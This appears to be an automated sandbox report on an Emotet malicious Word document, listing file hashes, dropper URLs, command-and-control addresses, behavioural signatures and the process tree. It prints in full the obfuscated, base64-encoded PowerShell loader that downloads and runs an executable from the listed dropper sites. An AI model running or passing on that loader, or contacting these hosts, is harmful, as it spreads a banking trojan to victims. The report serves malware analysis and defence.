emotet | f81e4de8069e9551180db92af779f1c19f7bfef0dde8f9696ae0b242d3fb8f2d

General

Target

emotet_e2_f81e4de8069e9551180db92af779f1c19f7bfef0dde8f9696ae0b242d3fb8f2d_2020-08-21__171637._doc.doc
Size

178KB
MD5

d42e77a9116b6511efd39d230a7205a3
SHA1

8543820a8562c6d5592a3cef444b75ba35062fae
SHA256

f81e4de8069e9551180db92af779f1c19f7bfef0dde8f9696ae0b242d3fb8f2d
SHA512

ea3e14cbde76d904b9f83db4139fd687a9276a1ee1515fb3099b62dfa7a980c8fe15618a0896df2cccbc895c5548e2f20e5efcb1ce96211d421991f3f54c2f5a

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://alameenmission.net/cgi-bin/Ju1r8t/

exe.dropper

https://www.altopropiedades.cl/fonts/AWM/

exe.dropper

http://anisoph.com/cgi-bin/u95B/

exe.dropper

http://identisoft.pt/istore/7U/

exe.dropper

http://b3shop.net/calendar/nnxakTd/

exe.dropper

http://nourishmentjuices.com/wp-content/e/

exe.dropper

https://en.entechco.com.vn/wp-includes/9XMEI7/

Extracted

Family

emotet

C2

137.119.36.33:80

116.202.234.183:8080

69.30.203.214:8080

204.197.146.48:80

87.106.136.232:8080

153.163.83.106:80

91.211.88.52:7080

93.147.212.206:80

222.214.218.37:4143

189.212.199.126:443

203.153.216.189:7080

83.169.36.251:8080

188.83.220.2:443

104.236.246.93:8080

173.62.217.22:443

5.196.74.210:8080

68.188.112.97:80

139.130.242.43:80

61.19.246.238:443

24.179.13.119:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3904	744	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3500-13-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet
behavioral2/memory/3500-13-0x00000000006C0000-0x00000000006CC000-memory.dmp	emotet
behavioral2/memory/3524-16-0x00000000004A0000-0x00000000004AC000-memory.dmp	emotet
behavioral2/memory/3524-16-0x00000000004A0000-0x00000000004AC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	3904	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3500	Uirxlt7t.exe
3524	rasdial.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wincorlib\rasdial.exe	Uirxlt7t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3732	WINWORD.EXE
3732	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3904	powersheLL.exe
3904	powersheLL.exe
3904	powersheLL.exe
3524	rasdial.exe
3524	rasdial.exe
3524	rasdial.exe
3524	rasdial.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3904	powersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 3500	3904	powersheLL.exe	76
PID 3904 wrote to memory of 3500	3904	powersheLL.exe	76
PID 3904 wrote to memory of 3500	3904	powersheLL.exe	76
PID 3500 wrote to memory of 3524	3500	Uirxlt7t.exe	77
PID 3500 wrote to memory of 3524	3500	Uirxlt7t.exe	77
PID 3500 wrote to memory of 3524	3500	Uirxlt7t.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f81e4de8069e9551180db92af779f1c19f7bfef0dde8f9696ae0b242d3fb8f2d_2020-08-21__171637._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3732

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAHgANQB1AGsAdAB3AD0AKAAnAEgAJwArACcAcwBzACcAKwAnADIAXwBzADQAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAZQBtACcAKQAgACQARQBOAFYAOgBUAEUAbQBwAFwATwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAEkAdABgAHkAUABSAGAATwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEALAAgAHQAbABzACcAKQA7ACQAWgBzADMAaQB5AHYAMwAgAD0AIAAoACcAVQBpAHIAeABsACcAKwAnAHQANwAnACsAJwB0ACcAKQA7ACQAUgA1AHIAMQAyAGQAcQA9ACgAJwBFAG8AcAAnACsAJwBuADcAdAB2ACcAKQA7ACQAQwBtADgAdAByAG0AMQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwAnACsAJwBmAGYAaQAnACsAJwBjACcAKwAnAGUAMgAwADEAOQB7ADAAfQAnACkALQBmACAAIABbAGMASABBAFIAXQA5ADIAKQArACQAWgBzADMAaQB5AHYAMwArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAWgBpAF8ANQBfAHcAcwA9ACgAJwBDAHAAcAAnACsAJwBkAGYAeQAnACsAJwBfACcAKQA7ACQAVwBpAGMAdgAwAGkAYgA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAHQALgB3AGUAYgBjAGwAaQBlAE4AVAA7ACQAVgBkAGoANQBfAHMAMAA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQBsACcAKwAnAGEAbQAnACsAJwBlAGUAbgBtAGkAcwBzAGkAbwBuAC4AbgAnACsAJwBlAHQALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQBuAC8ASgAnACsAJwB1ACcAKwAnADEAcgA4ACcAKwAnAHQALwAqAGgAdAB0AHAAJwArACcAcwA6AC8AJwArACcALwAnACsAJwB3ACcAKwAnAHcAJwArACcAdwAuACcAKwAnAGEAJwArACcAbAB0ACcAKwAnAG8AJwArACcAcAByAG8AcABpACcAKwAnAGUAZABhAGQAZQAnACsAJwBzACcAKwAnAC4AJwArACcAYwBsAC8AZgBvAG4AdABzAC8AQQBXACcAKwAnAE0ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AYQBuACcAKwAnAGkAJwArACcAcwBvAHAAJwArACcAaAAuAGMAJwArACcAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAOQA1AEIALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AaQBkACcAKwAnAGUAbgB0ACcAKwAnAGkAcwBvAGYAdAAuACcAKwAnAHAAdAAnACsAJwAvAGkAcwB0AG8AJwArACcAcgBlACcAKwAnAC8ANwBVAC8AJwArACcAKgBoACcAKwAnAHQAJwArACcAdABwADoALwAvACcAKwAnAGIAMwAnACsAJwBzAGgAbwBwAC4AbgAnACsAJwBlACcAKwAnAHQALwBjACcAKwAnAGEAbABlAG4AZABhAHIALwBuAG4AJwArACcAeABhAGsAVABkACcAKwAnAC8AJwArACcAKgAnACsAJwBoACcAKwAnAHQAdABwADoALwAvAG4AbwB1AHIAaQAnACsAJwBzACcAKwAnAGgAbQAnACsAJwBlAG4AdABqACcAKwAnAHUAaQBjAGUAJwArACcAcwAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdABlACcAKwAnAG4AdAAvAGUALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACsAJwA6AC8ALwAnACsAJwBlAG4ALgAnACsAJwBlAG4AdABlAGMAaABjAG8ALgBjACcAKwAnAG8AbQAuAHYAbgAvAHcAcAAtACcAKwAnAGkAbgBjAGwAJwArACcAdQAnACsAJwBkAGUAcwAvACcAKwAnADkAWAAnACsAJwBNAEUASQA3AC8AJwApAC4AIgBTAGAAUABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAZwB4AHoAZgBoAHQAPQAoACcAQgBiADQAZQAnACsAJwBuAGwAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAZwA4AGIAZwBwACAAaQBuACAAJABWAGQAagA1AF8AcwAwACkAewB0AHIAeQB7ACQAVwBpAGMAdgAwAGkAYgAuACIAZABPAFcATgBgAEwATwBgAEEARABGAGkAbABFACIAKAAkAEIAcgBnADgAYgBnAHAALAAgACQAQwBtADgAdAByAG0AMQApADsAJABYADkAbgBrADgAegBuAD0AKAAnAEkAMwB4AG0AeQAnACsAJwBtAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEMAbQA4AHQAcgBtADEAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYANQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABDAG0AOAB0AHIAbQAxACkAOwAkAFIAYwB6ADgANwB1ADMAPQAoACcAUAA0ADAANABuACcAKwAnAG0ANAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAaABoAGwAegA1AHgAPQAoACcATwBuAG4AdgAnACsAJwBnACcAKwAnADIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAMQB6AGoAaAAzAGEAPQAoACcAUAB2ACcAKwAnAG0AOABwACcAKwAnAGsAMAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Users\Admin\AppData\Local\Temp\Office2019\Uirxlt7t.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Uirxlt7t.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\SysWOW64\wincorlib\rasdial.exe
    "C:\Windows\SysWOW64\wincorlib\rasdial.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3500-13-0x00000000006C0000-0x00000000006CC000-memory.dmp

Filesize
48KB

Download
memory/3524-16-0x00000000004A0000-0x00000000004AC000-memory.dmp

Filesize
48KB

Download
memory/3732-0-0x00007FF84D7F0000-0x00007FF84DEB6000-memory.dmp

Filesize
6.8MB

Download
memory/3904-7-0x00007FF845A70000-0x00007FF84645C000-memory.dmp

Filesize
9.9MB

Download
memory/3904-8-0x0000024738F40000-0x0000024738F41000-memory.dmp

Filesize
4KB

Download
memory/3904-9-0x0000024751280000-0x0000024751281000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads